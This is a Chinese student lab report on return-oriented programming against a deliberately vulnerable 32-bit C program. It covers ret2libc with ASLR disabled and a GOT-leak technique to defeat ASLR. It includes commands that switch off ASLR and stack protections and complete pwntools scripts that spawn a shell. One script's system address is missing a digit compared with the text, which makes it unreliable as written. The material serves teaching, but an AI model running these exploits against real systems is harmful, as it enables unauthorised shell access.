漏洞分析技术实验二

实验目标

掌握如何利用ROP技术绕过安全保护机制。

实验内容要求

  1. 基于讲义实验一中的rop1.c,在关闭栈保护canary和ASLR内存地址随机化保护,开启NX保护的条件下,编写可用的ROP脚本对程序流进行劫持,从而执行system(/bin/sh)获得shell。要求详细分析ROP的原理,对漏洞利用详细过程进行详细的截图分析,并提供可在所提供虚拟机环境中可执行的脚本,以供实际验证;
  2. 基于讲义实验二中的rop1.c,编译为32位程序。在关闭栈保护canary,开启NX保护和ASLR内存地址随机化保护的条件下,编写可用的ROP脚本对程序流进行劫持,从而执行system(/bin/sh)获得shell。要求详细分析ROP的原理,对漏洞利用详细过程进行详细的截图分析,并提供可在所提供虚拟机环境中可执行的脚本,以供实际验证;

实验环境

  1. Linux操作系统
  2. python语言环境
  3. gdb调试器
  4. IDA Pro

实验过程

实验一

关闭canary和ASLR,开启NX

关闭栈保护canary和ASLR内存地址随机化保护,开启NX保护,编译rop1.c到rop1;

1
2
3
4
gcc rop1.c -o rop1 -m32 -fno-stack-protector -z execstack
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
gcc rop1.c -o rop1 -m32 -fno-stack-protector
checksec rop1

查看NX保护

rop2进程栈的权限为**rw**,不可执行

程序分析

程序源代码如下

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <unistd.h>
void vuln(){
char buf[128];
read(0,buf,256);
}
int main(){
vuln();
write(1,"hello rop\n",10);
}

数组buf大小为128字节,但是read函数读进256字节,因此可以利用缓冲区溢出漏洞对程序流进行劫持攻击。可以通过向buf里面填充大于128字节的数据造成缓冲区溢出,并且覆盖vuln函数的返回地址为buf数组,使程序执行buf数组里的恶意代码。

但是由于开启了NX保护,不能在栈中执行代码,因此不能直接把shellcode写在栈中执行,只能调用系统函数达到getshell的目的。

  • 程序中用到了libc库中的read和printf函数。libc.so中保存了大量的可用函数,可以调用system('/bin/sh')来获取shell;
  • 关闭了ASLR后,system函数在内存中地址不会发生变化;

详细分析

  1. 查看vuln函数的地址;

  2. 确定覆盖字节数

    buf的存储地址是ebp-0x88,根据上图汇编代码,栈抬高了0x88+0x4 = 0x8c个字节,因此需要在栈中填充0x8c个字节的数据来覆盖返回地址;

  3. 在vuln函数处设置断点并且运行;

  4. 查看系统函数地址为0xf7e40da0

  5. 查看libc的起始地址为0xf7e06000,结束地址为0xf7fb9000

  6. 在libc中查找/bin/sh命令的地址为0xf7f61a0b

    1571638322283

构造ROP

  1. payload结构为0x8c字节的数据+系统函数地址+任意返回地址+/bin/sh的地址,先 填充0x8c字节的数据,然后调用系统函数,以/bin/sh作为参数,即

    1
    'a'*0x8c + p32(0xf7e40da0) + p32(任意地址) + p32(0xf7f61a0b)
  2. payload脚本如下

    1
    2
    3
    4
    5
    6
    7
    from pwn import *
    p = process('./rop2')
    sys_addr = 0xf7e40da
    binsh_addr = 0xf7f61a0b
    payload = 'a'*0x8c + p32(sys_addr) + p32(0x11111111) + p32(binsh_addr)
    p.sendline(payload)
    p.interactive()

执行脚本

顺利执行ls命令,漏洞利用成功。

实验二

关闭canary,开启ASLR和NX

关闭栈保护canary,开启ASLR内存地址随机化保护和NX保护,编译rop1.c到rop2;

1
2
3
4
gcc rop1.c -o rop2 -m32 -fno-stack-protector -z execstack
sudo sh -c "echo 2 > /proc/sys/kernel/randomize_va_space"
gcc rop1.c -o rop2 -m32 -fno-stack-protector
checksec rop2

此时动态库的基址是会发生变化的;

思路分析

  • 利用write函数打印出write函数对应的got表里的内容,只要打印got表中存在的函数的地址就可以计算出libc的基址;

  • 虽然write函数的地址并不是固定的,但是程序本身使用过这个函数,所以PLT表里一定有这个函数,PLT表又属于本身程序的代码段,在没有开启PIE的情况下,write函数对应的PLT表项的地址是确定的;

  • 同理GOT表项的地址也是不变的,变的只是GOT表项的内容;

  • 可以将返回地址覆盖为write函数对应的PLT表的地址,参数布置为0x1,write函数对应的got表项的地址,参数布置为0x4,其中0x1是标准输出(即从终端显示输出结果),0x4是输出的长度 ;

  • 再将write函数的返回地址布置为vuln这个函数的地址,执行完write函数后,返回到vuln函数,进行二次溢出,获得shell,其中vuln函数地址为0x0804843b

  • 使用IDA找到write函数对应的PLT表项的地址为0x08048320

  • 使用IDA找到write函数对应的GOT表项的地址为0x0804A014

    1571645227781

  • 覆盖前的堆栈结构为

  • 覆盖后的堆栈结构为

  • 打印出write 的地址后,计算出system函数的地址,然后利用二次栈溢出,覆盖返回地址为system函数地址,布置参数为/bin/sh字符串的首地址。
    /bin/sh这个字符串也可以在libc中找到。

构造ROP脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
libc = ELF("libc.so.6")
p = process("./rop2")
plt_write = 0x08048320 #write函数的plt地址
vuln_addr = 0x0804843b #vuln函数的地址
got_write = 0x0804A014 #write函数的got地址
payload = 'a'*0x8c+p32(plt_write)+p32(vuln_addr)+p32(1)+p32(got_write)+p32(4)
p.send(payload) #构造并发送第一次的payload
write_addr = u32(p.recv(4)) #接受返回的write函数的地址
libc_base = write_addr - libc.symbols["write"] #根据相对地址不变,计算libc基址
system_addr = libc_base + libc.symbols["system"] #计算system函数地址
binbash_addr = libc_base + next(libc.search("/bin/sh")) #计算/bin/sh地址
payload = 'a'*0x8c + p32(system_addr) + p32(1) + p32(binbash_addr)
p.send(payload) #构造并发送第二次的payload
p.interactive()

执行脚本

顺利执行lswhoami等命令,漏洞利用成功。